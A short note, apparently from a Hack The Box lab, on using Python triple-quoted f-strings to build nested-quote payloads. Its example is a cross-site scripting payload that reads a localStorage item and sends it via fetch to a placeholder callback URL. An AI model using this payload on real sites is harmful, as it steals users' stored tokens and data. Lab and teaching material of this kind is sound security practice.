Nested payload strings

Triple-quoted f-string for nested payloads

Triple-quoted f-strings allow single quotes and double quotes inside the same Python string without escaping them. The f prefix still interpolates Python values, while JavaScript backticks remain literal.

callback_url = "<CALLBACK_URL>"
payload = f"""<img src=x onerror='fetch("{callback_url}/?data=" + encodeURIComponent(btoa(localStorage.getItem(`<KEY>`))))'>"""

callback_url is inserted into the payload by Python. The remaining quote types retain their JavaScript and HTML meanings.

_{Find by: python, string, triple quote, triple quoted string, f-string, nested quotes, payload quoting, javascript payload, xss · Source: HTB/FeedbackFlux}